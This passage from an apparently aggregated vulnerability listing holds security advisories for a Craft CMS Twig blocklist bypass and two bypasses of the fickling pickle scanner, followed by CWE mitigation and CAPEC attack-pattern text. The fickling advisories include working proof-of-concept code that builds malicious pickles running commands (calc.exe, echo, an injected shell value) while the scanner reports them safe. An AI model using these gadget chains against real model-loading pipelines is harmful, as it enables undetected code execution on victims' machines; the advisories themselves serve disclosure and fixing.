  "details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
  "id": "GHSA-5fvc-7894-ghp4",
  "modified": "2026-03-04T18:39:13Z",
  "published": "2026-03-03T21:01:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Twig Function Blocklist Bypass"
}

GHSA-5HVC-6WX8-MVV4

Vulnerability from github – Published: 2026-01-09 21:05 – Updated: 2026-01-11 14:55
VLAI
Summary
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Details

Fickling's assessment

pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).

Original report

Summary

Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE

Details

Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).

To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin

PoC

import os

GLOBAL      = b'c'
STRING      = b'S'
BININT      = b'K'
TUPLE1      = b'\x85'
TUPLE2      = b'\x86'
EMPTY_TUPLE = b')'
REDUCE      = b'R'
PUT         = b'p'
GET         = b'g'
POP         = b'0'
EMPTY_DICT  = b'}'
SETITEM     = b's'
BUILD       = b'b'
STOP        = b'.'

def generate_stealth_payload():
    payload = b""

    payload += GLOBAL + b"pydoc\nlocate\n"
    payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
    payload += POP

    payload += GET + b"0\n" 
    payload += b"C" + b"\x08" + b"calc.exe" 
    payload += BININT + b"\x01"             
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # Var 1 = Execution Result
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"2\n" # Var 2 = Exception instance

    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"1\n"
    payload += SETITEM      # { 'rce_status': result }

    payload += BUILD 

    payload += STOP
    return payload

data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
    f.write(data)

print("Generated 'stealth_ctypes.pkl'")
````

What fickling sees
```python
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3

image

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-09T21:05:13Z",
    "nvd_published_at": "2026-01-10T02:15:49Z",
    "severity": "HIGH"
  },
  "details": "# Fickling\u0027s assessment\n\n`pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).\n\n# Original report\n\n### Summary\nBoth ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE\n\n### Details\nImport: GLOBAL pydoc locate (Allowed).\nResolution: Call locate(\u0027ctypes.windll.kernel32.WinExec\u0027).\nExecution: Call the result with (b\u0027calc.exe\u0027, 1).\n\nTo bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin\n\n### PoC\n```python\nimport os\n\nGLOBAL      = b\u0027c\u0027\nSTRING      = b\u0027S\u0027\nBININT      = b\u0027K\u0027\nTUPLE1      = b\u0027\\x85\u0027\nTUPLE2      = b\u0027\\x86\u0027\nEMPTY_TUPLE = b\u0027)\u0027\nREDUCE      = b\u0027R\u0027\nPUT         = b\u0027p\u0027\nGET         = b\u0027g\u0027\nPOP         = b\u00270\u0027\nEMPTY_DICT  = b\u0027}\u0027\nSETITEM     = b\u0027s\u0027\nBUILD       = b\u0027b\u0027\nSTOP        = b\u0027.\u0027\n\ndef generate_stealth_payload():\n    payload = b\"\"\n\n    payload += GLOBAL + b\"pydoc\\nlocate\\n\"\n    payload += STRING + b\"\u0027ctypes.windll.kernel32.WinExec\u0027\\n\"\n    payload += TUPLE1 + REDUCE\n    payload += PUT + b\"0\\n\" # Var 0 = \u003c_FuncPtr WinExec\u003e\n    payload += POP\n\n    payload += GET + b\"0\\n\" \n    payload += b\"C\" + b\"\\x08\" + b\"calc.exe\" \n    payload += BININT + b\"\\x01\"             \n    payload += TUPLE2 + REDUCE\n    payload += PUT + b\"1\\n\" # Var 1 = Execution Result\n    payload += POP\n\n    payload += GLOBAL + b\"builtins\\nException\\n\"\n    payload += EMPTY_TUPLE + REDUCE\n    payload += PUT + b\"2\\n\" # Var 2 = Exception instance\n\n    payload += EMPTY_DICT\n    payload += STRING + b\"\u0027rce_status\u0027\\n\"\n    payload += GET + b\"1\\n\"\n    payload += SETITEM      # { \u0027rce_status\u0027: result }\n    \n    payload += BUILD \n    \n    payload += STOP\n    return payload\n\ndata = generate_stealth_payload()\nwith open(\"stealth_ctypes.pkl\", \"wb\") as f:\n    f.write(data)\n    \nprint(\"Generated \u0027stealth_ctypes.pkl\u0027\")\n````\n\nWhat fickling sees\n```python\nfrom pydoc import locate\n_var0 = locate(\u0027ctypes.windll.kernel32.WinExec\u0027)\n_var1 = _var0(b\u0027calc.exe\u0027, 1)\n_var2 = Exception()\n_var3 = _var2\n_var3.__setstate__({\u0027rce_status\u0027: _var1})\nresult0 = _var3\n```\n\u003cimg width=\"915\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a\" /\u003e",
  "id": "GHSA-5hvc-6wx8-mvv4",
  "modified": "2026-01-11T14:55:08Z",
  "published": "2026-01-09T21:05:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/pull/195"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection"
}

GHSA-5HWF-RC88-82XM

Vulnerability from github – Published: 2026-03-04 21:31 – Updated: 2026-03-04 21:31
VLAI
Summary
Fickling missing RCE-capable modules in UNSAFE_IMPORTS
Details

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

  • fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

Module RCE Function Internal Mechanism Importable On
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) All platforms
_osx_support _read_output(cmdstring) os.system(cmd) via temp file All platforms
_osx_support _find_build_tool(toolname) Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) All platforms
_aix_support _read_cmd_output(cmdstring) os.system(cmd) via temp file All platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

  1. NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
  2. UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
  3. OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
  4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

  • Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
  • Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
  • Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
  • fickling source: analysis.py UNSAFE_IMPORTS set
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:31:03Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Assessment\n\nThe modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).\n\n# Original report\n\n## Summary\n\nfickling\u0027s `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks.\n\n\n## Affected Versions\n\n- fickling \u003c= 0.1.8 (all versions)\n\n## Details\n\n### Missing Modules\n\nfickling\u0027s `UNSAFE_IMPORTS` (86 modules) does not include:\n\n| Module | RCE Function | Internal Mechanism | Importable On |\n|--------|-------------|-------------------|---------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output(\"/usr/bin/xcrun -find %s\" % toolname)` | All platforms |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms |\n\n**Critical note:** Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.\n\n### Why These Pass fickling\n\n1. **`NonStandardImports`**: These are stdlib modules, so `is_std_module()` returns True \u2192 not flagged\n2. **`UnsafeImports`**: Module names not in `UNSAFE_IMPORTS` \u2192 not flagged\n3. **`OvertlyBadEvals`**: Function names added to `likely_safe_imports` (stdlib) \u2192 skipped\n4. **`UnusedVariables`**: Defeated by BUILD opcode (purposely unhardend)\n\n### Proof of Concept (using fickling\u0027s opcode API)\n\n```python\nfrom fickling.fickle import (\n    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,\n    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,\n)\nfrom fickling.analysis import check_safety\nimport struct, pickle\n\nframe_data = b\"\\x95\" + struct.pack(\"\u003cQ\", 60)\n\n# uuid._get_command_stdout \u2014 works on ALL platforms\nuuid_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n    ShortBinUnicode(\"uuid\"),\n    ShortBinUnicode(\"_get_command_stdout\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo\"),\n    ShortBinUnicode(\"PROOF_OF_CONCEPT\"),\n    TupleTwo(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _aix_support._read_cmd_output \u2014 works on ALL platforms\naix_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n    ShortBinUnicode(\"_aix_support\"),\n    ShortBinUnicode(\"_read_cmd_output\"),\n    StackGlobal(),\n    ShortBinUnicode(\"echo PROOF_OF_CONCEPT\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# _osx_support._find_build_tool \u2014 command injection via %s\nosx_payload = Pickled([\n    Proto(4),\n    Frame(struct.pack(\"\u003cQ\", 60), data=frame_data),\n    ShortBinUnicode(\"_osx_support\"),\n    ShortBinUnicode(\"_find_build_tool\"),\n    StackGlobal(),\n    ShortBinUnicode(\"x; echo INJECTED #\"),\n    TupleOne(),\n    Reduce(),\n    EmptyDict(), ShortBinUnicode(\"x\"), ShortBinUnicode(\"y\"), SetItem(),\n    Build(),\n    Stop(),\n])\n\n# All three: fickling reports LIKELY_SAFE\nfor name, p in [(\"uuid\", uuid_payload), (\"aix\", aix_payload), (\"osx\", osx_payload)]:\n    result = check_safety(p)\n    print(f\"{name}: severity={result.severity}, issues={len(result.results)}\")\n    # Output: severity=Severity.LIKELY_SAFE, issues=0\n\n# All three: pickle.loads() executes the command\npickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT\n```\n\n### Verified Output\n\n```\n$ python3 poc.py\nuuid: severity=Severity.LIKELY_SAFE, issues=0\naix: severity=Severity.LIKELY_SAFE, issues=0\nosx: severity=Severity.LIKELY_SAFE, issues=0\nPROOF_OF_CONCEPT\n```\n\n## Impact\n\nAn attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.\n\n## Suggested Fix\n\nAdd to `UNSAFE_IMPORTS` in fickling:\n```python\n\"uuid\",\n\"_osx_support\",\n\"_aix_support\",\n```\n\n**Longer term:** Consider an allowlist approach \u2014 only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.\n\n## Resources\n\n- Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`)\n- Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`)\n- Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`)\n- fickling source: `analysis.py` `UNSAFE_IMPORTS` set",
  "id": "GHSA-5hwf-rc88-82xm",
  "modified": "2026-03-04T21:31:03Z",
  "published": "2026-03-04T21:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-5hwf-rc88-82xm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling missing RCE-capable modules in UNSAFE_IMPORTS"
}

Mitigation
Implementation

Strategy: Input Validation

Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CAPEC-120: Double Encoding

The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-182: Flash Injection

An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.

CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters

Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.